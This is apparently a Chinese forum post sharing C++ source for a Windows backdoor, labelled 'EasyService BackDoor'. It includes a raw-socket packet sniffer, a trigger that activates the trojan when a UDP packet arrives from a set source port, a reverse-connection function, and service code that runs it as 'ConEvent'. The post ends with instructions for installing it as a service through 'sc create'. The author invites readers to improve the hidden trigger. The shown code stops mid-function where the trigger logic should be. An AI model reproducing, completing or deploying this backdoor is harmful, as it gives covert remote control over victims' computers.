unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;

typedef struct _udphdr{
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_len;
unsigned short uh_sum;
}UDP_HEADER;

extern int StartSniffer();
extern void StartWSA();
extern void returnMessage(SOCKET *Sock,char *msg);
extern void CreatePipeInSock();
extern int SetSocketHandle(SOCKET *Sock);
extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);

#endif

这里就是sniffer...这个sniffer只解析IP和UDP包。。。通过对UDP的解析来启动木马进程.
对于UDP解析来启动木马这块还没有怎么完善。只是很简单的。。。等待大家来补充了。。

最好解析UDP来提取内容。判断用户名。密码。然后启动木马进程
sniffer.cpp

代码

#include "headerf.h"
//---------------------------------------------------------------------------

//-----------------------------
char rcvbuf[65535];
SOCKADDR_IN siSource;
extern SOCKET ReSock;
char SourceIPAddr[16];
unsigned short SourcePort;
bool CanCon=true;
char WelcomeBuff[200] = "++++++++++++++++++++++++++++++++++++/r/n"
"+EasyService BackDoor/r/n"
"+Coder By weibo(wbwap@sina.com)/r/n"
"+Site http://www.s8s8.net/r/n"
"++++++++++++++++++++++++++++++++++++/r/n";
//-----------------------------
void DecodeIpPack(char *buf,int irec);
void DecodeUdpPack(char *buf,unsigned int buflen);
int msGetip(char *ipin, char* ipout);
void StartBackDoor(SOCKET *Sock,char *IPaddr);
//------------------------------
int StartSniffer()
{
SOCKET SniffSock;
struct sockaddr_in addr;
unsigned char LocalName[256];
struct hostent * hp;
int ntime=1000;
int rec;
DWORD dwBufferLen[10];
DWORD dwBufferInLen = 1;
DWORD dwBytesReturned = 0;
char in[20]="",out[20]="";
StartWSA();
SniffSock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);
setsockopt(SniffSock,SOL_SOCKET,SO_RCVTIMEO,(char*)&ntime,sizeof(ntime));
addr.sin_family = AF_INET;
addr.sin_port = INADDR_ANY;
msGetip(in,out);
addr.sin_addr.S_un.S_addr = inet_addr(out);
bind(SniffSock,(PSOCKADDR)&addr, sizeof(addr));
WSAIoctl(SniffSock,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned ,NULL ,NULL);
while(1)
{
memset(rcvbuf,0,sizeof(rcvbuf));
rec = recv(SniffSock,rcvbuf,sizeof(rcvbuf),0);
DecodeIpPack(rcvbuf,rec);

}
}
//---------------------------------------------------------------------------
void DecodeIpPack(char *buf,int irec)
{
int iproto;
int iIphlen;
IP_HEADER *pIPheader;
pIPheader = (IP_HEADER *)buf;
iproto=pIPheader->proto;
iIphlen = sizeof(unsigned long) * (pIPheader->h_lenver & 0xf);

if (iproto == IPPROTO_UDP)
{
siSource.sin_addr.s_addr = pIPheader->sourceIP;
strncpy(SourceIPAddr,inet_ntoa(siSource.sin_addr),16);
//printf("包类型:%s/n源IP:%s ","UDP",SourceIPAddr);
DecodeUdpPack(buf+iIphlen,irec);
}

}

void DecodeUdpPack(char *buf,unsigned int buflen)
{
char str[10];
UDP_HEADER *pUdpheader;
pUdpheader=(UDP_HEADER *)buf;
siSource.sin_port = pUdpheader->uh_sport;
SourcePort=ntohs(siSource.sin_port);

//这个地方就是判断是否启动进程的地方！！！！！！！！！！！！！！！！！！！
//这里是如果塬端口为9876 才会起动木马进程。。连接你的1234断口这些都可以改
//最好的方法是Decode UDP包。。然后分析内容。。。作判断是否打开木马。。。。
//没时间了。。。。

backdoor.cpp

代码

#include "headerf.h"
//---------------------------------------------------------------------------
const int c_nEventCt = 3;
const int c_nEventIndexPause = 0;
const int c_nEventIndexContinue = 1;
const int c_nEventIndexStop = 2;
HANDLE g_arEventControl[c_nEventCt];
SERVICE_STATUS_HANDLE g_ssh;
DWORD g_dwStatus = SERVICE_STOPPED;
#pragma argsused
//服务状态给SCM
void SetStatus(DWORD dwStatus)
{
SERVICE_STATUS ss =
{
SERVICE_WIN32_OWN_PROCESS,
SERVICE_STOPPED,
SERVICE_ACCEPT_PAUSE_CONTINUE|
SERVICE_ACCEPT_STOP,
NO_ERROR,
0,
1,
5000
};
ss.dwCurrentState = dwStatus;
SetServiceStatus(g_ssh,&ss);
g_dwStatus = dwStatus;
}

//命令处理
VOID __stdcall Handler(DWORD dwCtl)
{
switch(dwCtl)
{
case SERVICE_CONTROL_STOP:
WSACleanup();
break;

default:
//nomal
break;
}
}

bool HandleControl()
{
bool bContinueRunning(true);

DWORD dwWait = WaitForMultipleObjects(
c_nEventCt,
g_arEventControl,
FALSE,
0
);
int nIndex = dwWait - WAIT_OBJECT_0;
if(nIndex>=0 && nIndex<c_nEventCt)
{
ResetEvent(g_arEventControl[nIndex]);

switch(nIndex)
{
case c_nEventIndexPause:
SetStatus(SERVICE_PAUSED);
break;
case c_nEventIndexContinue:
SetStatus(SERVICE_RUNNING);
break;
case c_nEventIndexStop:
SetStatus(SERVICE_STOP_PENDING);
bContinueRunning = false;
break;
}
}
return (bContinueRunning);
}

VOID __stdcall ServiceMain(DWORD dwArgc,LPSTR* lpszArgv)
{
g_arEventControl[c_nEventIndexPause] = CreateEvent(NULL,TRUE,FALSE,NULL);
g_arEventControl[c_nEventIndexContinue] = CreateEvent(NULL,TRUE,FALSE,NULL);
g_arEventControl[c_nEventIndexStop] = CreateEvent(NULL,TRUE,FALSE,NULL);

g_ssh = RegisterServiceCtrlHandler(lpszArgv[0],Handler);

SetStatus(SERVICE_START_PENDING);
SetStatus(SERVICE_RUNNING);

while(HandleControl())
{
if(g_dwStatus == SERVICE_RUNNING)
{

StartSniffer();

}

}

for(int nEvent = 0;nEvent < c_nEventCt;++nEvent)
{
CloseHandle(g_arEventControl[nEvent]);
g_arEventControl[nEvent] = INVALID_HANDLE_VALUE;

}

SetStatus(SERVICE_STOPPED);
}

int __stdcall WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpszCmdLine,
int nCmdShow
)
{
SERVICE_TABLE_ENTRY arSvc[] =
{
{"ConEvent",ServiceMain},
{NULL,NULL}
};

StartServiceCtrlDispatcher(arSvc);
return 0;
}

手动加为服务

编译好后
进入cmd

运行 sc create 随便一个名字 binpath= path

例子: sc create BackDoor binpath= c:/backdoor.exe

这个很草。。。。。。等我度过军训。有时间了。。回来再写~~~~88

附件是我用bcb6写的。。。